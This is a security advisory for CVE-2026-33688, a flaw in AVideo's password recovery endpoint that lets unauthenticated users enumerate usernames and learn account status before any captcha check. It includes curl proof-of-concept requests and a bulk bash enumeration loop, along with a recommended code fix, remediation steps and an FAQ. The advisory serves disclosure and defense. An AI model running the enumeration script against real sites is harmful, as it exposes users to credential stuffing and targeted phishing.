CVE-2026-33688: AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
Summary
The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.
Details
In objects/userRecoverPass.php, the request flow is:
1. Line 11 — A User object is instantiated from unsanitized $REQUEST['user'] with no authentication: php $user = new User(0, $REQUEST['user'], false);
2. Lines 27-29 — If the user does not exist, a distinct error is returned immediately: php if (empty($user->getStatus())) { $obj->error = ("User not found"); die(jsonencode($obj)); }
3. Lines 31-33 — If the user exists but is not active, a different distinct error is returned: php if ($user->getStatus() !== 'a') { $obj->error = ("The user is not active"); die(jsonencode($obj)); }
4. Lines 37-41 — Captcha validation only occurs after both user enumeration checks: php if (empty($REQUEST['captcha'])) { $obj->error = ("Captcha is empty"); } else { requireonce 'captcha.php'; $valid = Captcha::validation($REQUEST['captcha']);
This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.
By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.
No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).
PoC
bash 1. Test a non-existent user — returns "User not found" without captcha curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=nonexistentuserxyz&captcha=' | jq .error Response: "User not found"
2. Test a valid active user — passes user checks, hits captcha validation curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=admin&captcha=' | jq .error Response: "Captcha is empty"
3. Test an inactive/banned user (if one exists) — returns distinct status message curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=banneduser&captcha=' | jq .error Response: "The user is not active"
4. Bulk enumeration script — no captcha solving required for user in admin root test user1 user2 moderator editor; do result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d "user=${user}&captcha=") error=$(echo "$result" | jq -r .error) if [ "$error" = "Captcha is empty" ]; then echo "[ACTIVE] $user" elif [ "$error" = "The user is not active" ]; then echo "[INACTIVE] $user" else echo "[NOT FOUND] $user" fi done
Impact
- Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier. - Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status. - Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint. - Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users. - No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.
Recommended Fix
Move the captcha validation before the user existence checks, and return a generic message regardless of user status:
php // In objects/userRecoverPass.php, replace lines 26-41 with:
header('Content-Type: application/json');
// Validate captcha FIRST, before any user lookups if (empty($REQUEST['captcha'])) { $obj->error = ("Captcha is empty"); die(jsonencode($obj)); } requireonce 'captcha.php'; $valid = Captcha::validation($REQUEST['captcha']); if (!$valid) { $obj->error = ("Your code is not valid"); $obj->reloadCaptcha = true; die(jsonencode($obj)); }
// After captcha passes, check user — but use generic message if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) { // Generic message — do not reveal whether user exists or is active $obj->success = ("If this account exists, a recovery email has been sent"); die(jsonencode($obj)); }
// Proceed with actual password recovery... $recoverPass = $user->setRecoverPass();
Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.
Other sources
AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint
— Packagist
WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Patch e42f54123b460fd1b2ee01f2ce3d4a386e88d157 - Compensating control
Add rateLimitByIP() to the password recovery endpoint as defense-in-depth against automated enumeration.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33688?
The severity of CVE-2026-33688 is considered to be high due to its potential for user enumeration and account status disclosure.
How do I fix CVE-2026-33688?
To fix CVE-2026-33688, upgrade AVideo to version 26.1 or later, where the vulnerability has been addressed.
What impact does CVE-2026-33688 have on affected systems?
CVE-2026-33688 allows attackers to perform user enumeration and find information about account status during password recovery.
Which versions of AVideo are affected by CVE-2026-33688?
Versions of AVideo up to and including 26.0 are affected by CVE-2026-33688.
What is the nature of the vulnerability in CVE-2026-33688?
CVE-2026-33688 is a Pre-Captcha User Enumeration and Account Status Disclosure vulnerability found in the password recovery endpoint.